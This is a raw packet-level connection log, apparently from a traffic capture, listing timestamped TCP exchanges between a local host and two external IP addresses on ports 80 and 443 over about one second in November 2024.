Nov 15, 2024 19:39:34.619738102 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.619927883 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619944096 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619960070 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619973898 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619990110 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.619990110 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.620006084 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620016098 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.620057106 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.620093107 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620106936 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620122910 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620137930 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620152950 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620152950 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.620167971 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620193958 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.620222092 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.620397091 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620413065 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620428085 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620441914 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620455027 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620462894 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.620470047 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620484114 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620488882 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.620496035 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620508909 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620517969 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.620523930 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620537996 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.620538950 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620553970 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620568037 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620574951 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.620584011 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620593071 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.620639086 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.620702028 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620717049 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620732069 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620748043 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620762110 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620764971 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.620794058 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.620851994 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620865107 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620877981 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620893002 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620898008 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.620906115 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620918989 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.620922089 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620937109 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620950937 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620951891 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.620965004 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.620974064 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.620980978 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.621014118 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.621016026 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.621052027 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.621263027 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.621278048 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.621292114 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.621305943 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.621320009 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.621321917 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.621331930 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.621345997 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.621346951 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.621361017 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.621371031 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.621375084 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.621390104 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.621397972 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.621412039 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.621419907 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.621427059 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.621438026 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.621443033 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.621459007 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.621467113 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.621473074 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.621486902 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.621490955 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.621515989 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.622776031 CET	49815	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.622822046 CET	443	49815	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.622890949 CET	49815	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.623353004 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.623405933 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.623416901 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.623431921 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.623451948 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.623481035 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.623519897 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.623534918 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.623548985 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.623564959 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.623586893 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.670723915 CET	49815	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.670747042 CET	443	49815	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.677881002 CET	443	49811	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.678064108 CET	443	49811	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.678129911 CET	49811	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.689728022 CET	49811	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.689748049 CET	443	49811	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.689764023 CET	49811	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.689770937 CET	443	49811	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.795521021 CET	49816	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.795629978 CET	443	49816	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.795738935 CET	49816	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.805335999 CET	49816	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.805373907 CET	443	49816	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.838614941 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.838721991 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.971046925 CET	443	49812	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.975615978 CET	443	49813	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.019805908 CET	49812	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.020461082 CET	49813	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.033443928 CET	49812	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.033451080 CET	443	49812	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.033961058 CET	49812	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.033965111 CET	443	49812	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.040702105 CET	49813	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.040730000 CET	443	49813	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.041172028 CET	49813	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.041178942 CET	443	49813	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.115945101 CET	443	49814	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.121830940 CET	49814	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.121845007 CET	443	49814	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.122338057 CET	49814	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.122343063 CET	443	49814	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.167958975 CET	443	49812	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.167985916 CET	443	49812	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.168028116 CET	443	49812	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.168050051 CET	49812	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.168068886 CET	49812	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.170795918 CET	443	49813	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.170870066 CET	443	49813	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.170934916 CET	49813	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.248724937 CET	443	49814	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.249353886 CET	443	49814	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.249449968 CET	49814	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.286478043 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.286578894 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.410022974 CET	49812	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.410053015 CET	443	49812	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.410064936 CET	49812	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.410072088 CET	443	49812	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.413352013 CET	49813	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.413382053 CET	443	49813	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.413395882 CET	49813	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.413402081 CET	443	49813	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.417845964 CET	49814	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.417864084 CET	443	49814	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.417874098 CET	49814	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.417879105 CET	443	49814	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.462080956 CET	443	49815	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.470056057 CET	49817	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.470109940 CET	443	49817	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.470177889 CET	49817	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.471276999 CET	49815	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.471303940 CET	443	49815	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.471882105 CET	49815	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.471888065 CET	443	49815	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.477636099 CET	49818	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.477735996 CET	443	49818	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.477817059 CET	49818	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.478308916 CET	49818	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.478336096 CET	443	49818	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.483251095 CET	49819	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.483266115 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.483325958 CET	49819	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.486790895 CET	49817	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.486809015 CET	443	49817	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.532030106 CET	49819	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.532058001 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.600040913 CET	443	49815	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.600187063 CET	443	49815	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.600240946 CET	49815	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.600747108 CET	49815	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.600771904 CET	443	49815	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.600784063 CET	49815	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.600790977 CET	443	49815	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.611498117 CET	49820	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.611612082 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.611713886 CET	49820	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.617430925 CET	49820	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.617470026 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.627033949 CET	443	49816	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.627449989 CET	49816	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.627495050 CET	443	49816	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.627970934 CET	49816	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:35.627985954 CET	443	49816	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:35.729356050 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.734307051 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.734369993 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.734427929 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.734436035 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.734462976 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.734496117 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.734515905 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.734529018 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.734563112 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.734580040 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.734740973 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.734772921 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.734792948 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.734807014 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.734838963 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.734855890 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.734899044 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.734931946 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.734949112 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.734966040 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.734997988 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735016108 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.735030890 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735081911 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735095978 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.735116005 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735147953 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735162020 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.735181093 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735213995 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735232115 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.735245943 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735277891 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735296011 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.735310078 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735372066 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.735379934 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735414028 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735447884 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735479116 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735483885 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.735526085 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.735529900 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735563993 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735594988 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735613108 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.735626936 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735675097 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.735676050 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735709906 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735760927 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735764027 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.735794067 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735826969 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735843897 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.735858917 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735891104 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735907078 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.735924006 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735955000 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.735971928 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.735987902 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.736020088 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.736037016 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.736053944 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.736085892 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.736102104 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.736119986 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.736151934 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.736167908 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.736185074 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.736217022 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.736231089 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.736249924 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.736282110 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.736295938 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.736315966 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.736361980 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.736625910 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.736658096 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.736706972 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.736706972 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.736741066 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.736773968 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.736789942 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.736820936 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.736854076 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.736871958 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.736900091 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.736932039 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.736948967 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.736964941 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.736999035 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737010002 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.737030983 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737062931 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737080097 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.737096071 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737128973 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737143993 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.737162113 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737199068 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737210989 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.737231016 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737265110 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737282038 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.737301111 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737314939 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737346888 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737350941 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.737379074 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737399101 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.737580061 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737613916 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737628937 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.737664938 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737698078 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737729073 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.737730026 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737762928 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737776995 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.737795115 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737827063 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737842083 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.737859964 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737891912 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737904072 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.737926006 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737957954 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.737972975 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.737991095 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.738023996 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.738039017 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.738056898 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.738089085 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.738104105 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.738121033 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.738157988 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.738168955 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:35.738189936 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:35.738221884 CET	80	49802	185.215.113.16	192.168.2.7
